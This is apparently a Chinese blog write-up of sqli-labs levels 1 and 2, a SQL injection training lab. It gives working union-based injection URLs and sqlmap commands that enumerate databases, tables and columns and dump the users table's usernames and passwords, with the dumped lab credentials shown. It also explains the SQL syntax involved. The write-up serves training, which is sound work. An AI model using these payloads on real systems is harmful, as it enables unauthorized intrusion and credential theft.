【ctf系列】Sql-labs 第01关:GET -Error based -Single quotes -String

第01关:GET -Error based -Single quotes -String

命令

方法1:手工注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
http://x.x.x.x:x/Less-1/?id=1
http://x.x.x.x:x/Less-1/?id=2
http://x.x.x.x:x/Less-1/?id=3

http://x.x.x.x:x/Less-1/?id=1 and 1=1
http://x.x.x.x:x/Less-1/?id=1 and 1=2

http://x.x.x.x:x/Less-1/?id=1'

http://x.x.x.x:x/Less-1/?id=1' --
http://x.x.x.x:x/Less-1/?id=1' --+

# 确定表中的列数
http://x.x.x.x:x/Less-1/?id=1' order by 1 --+
http://x.x.x.x:x/Less-1/?id=1' order by 3 --+
http://x.x.x.x:x/Less-1/?id=1' order by 4 --+

http://x.x.x.x:x/Less-1/?id=-1' union select 1,2,3 --+
http://x.x.x.x:x/Less-1/?id=-1' union select 1,2,database() --+
http://x.x.x.x:x/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables --+
http://x.x.x.x:x/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
http://x.x.x.x:x/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
http://x.x.x.x:x/Less-1/?id=-1' union select 1,2, group_concat(username,0x3a,password) from users --+
# 结果如下显示:
# Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4,:

方法2:类似方法1,部分语法及显示不同

1
2
3
4
http://x.x.x.x:x/Less-1/?id=1' and '1'='1
http://x.x.x.x:x/Less-1/?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+
# 结果如下显示:
# \Dumb\Dumb,\Angelina\I-kill-you,\Dummy\p@ssword,\secure\crappy,\stupid\stupidity,\superman\genious,\batman\mob!le,\admin\admin,\admin1\admin1,\admin2\admin2,\admin3\admin3,\dhakkan\dumbo,\admin4\admin4,\\

方法3:sqlmap工具

–dbs:是查看所有的数据库
–tables:是查看所有的表
–columns:是查看表中所有的字段名
–dump:是查询哪个表的数据

1
2
3
4
sqlmap -u http://x.x.x.x:x/Less-1/?id=1 --dbs
sqlmap -u http://x.x.x.x:x/Less-1/?id=1 -D security --tables
sqlmap -u http://x.x.x.x:x/Less-1/?id=1 -D security -T users --columns
sqlmap -u http://x.x.x.x:x/Less-1/?id=1 -D security -T users -C password,id,username --dump

image.png

image.png

image.png

语法点

ORDER BY

ORDER BY可以对结果进行排序,在没有明确指定ASC(升序)或DESC(降序)的情况下,默认按升序排列。

1
2
3
SELECT <列名1>, <列名2>, …
FROM <表名>
ORDER BY <列名1>, <列名2>, …, ASC|DESC;

SQL UNION 操作符

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。

DATABASE()函数

DATABASE()函数返回当前数据库的名称。
如果没有当前数据库,则此函数返回NULL或“”。
SELECT DATABASE();

information_schema

1
2
3
4
5
6
7
8
选择**information_schema**数据库:
use information_schema;
查询(**information_schema**数据库里面的)**tables表**中所有的**自增ID**:
select auto_increment from tables;
如果我们想要查询指定表的自增ID,可以用下列语句:
select auto_increment from tables where table_name='表名';
**当然如果有同名的数据表,查出来的可就不只是一条记录了。可以加上指定数据库的条件。**
select auto_increment from tables where table_schema='数据库名' and table_name='表名';

group_concat

1、功能:

将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

2、语法:

group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )

小知识

information_schema:表示所有信息,包括库、表、列
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_schema:数据库的名称
table_name:表名
column_name:列名
group_concat():显示所有查询到的数据

version():查看数据库版本
database():查看使用的数据库
user():查看当前用户
limit:limit子句分批来获取所有数据
group_concat():一次性获取所有的数据库信息

参考

# SQL注入中,注释#、 –+、 –%20、 %23到底是什么意思?sqli-labs-master
方法1:# Sql-labs 第一关超详细讲解
方法2和方法3:# sqli-labs第一关 详解

第02关:GET -Error based -Integer based

命令

方法1:手工注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
http://x.x.x.x:x/Less-2/?id=1
http://x.x.x.x:x/Less-2/?id=2

http://x.x.x.x:x/Less-2/?id=1 and 1=1
http://x.x.x.x:x/Less-2/?id=1 and 1=2

http://x.x.x.x:x/Less-2/?id=1 order by 1
http://x.x.x.x:x/Less-2/?id=1 order by 3
http://x.x.x.x:x/Less-2/?id=1 order by 4

http://x.x.x.x:x/Less-2/?id=-1 union select 1,2,3
http://x.x.x.x:x/Less-2/?id=-1 union select 1,2,database()
http://x.x.x.x:x/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables
http://x.x.x.x:x/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
http://x.x.x.x:x/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
http://x.x.x.x:x/Less-2/?id=-1 union select 1,2,group_concat(username,0x3a,password) from users

方法2:sqlmap工具 同第01关

1
2
3
4
sqlmap -u http://x.x.x.x:x/Less-1/?id=1 --dbs
sqlmap -u http://x.x.x.x:x/Less-1/?id=1 -D security --tables
sqlmap -u http://x.x.x.x:x/Less-1/?id=1 -D security -T users --columns
sqlmap -u http://x.x.x.x:x/Less-1/?id=1 -D security -T users -C password,id,username --dump

【ctf系列】Sql-labs 第01关:GET -Error based -Single quotes -String
http://example.com/2023/08/08/ctf/【ctf题目系列】Sql-labs/
作者
ningan123
发布于
2023年8月8日
许可协议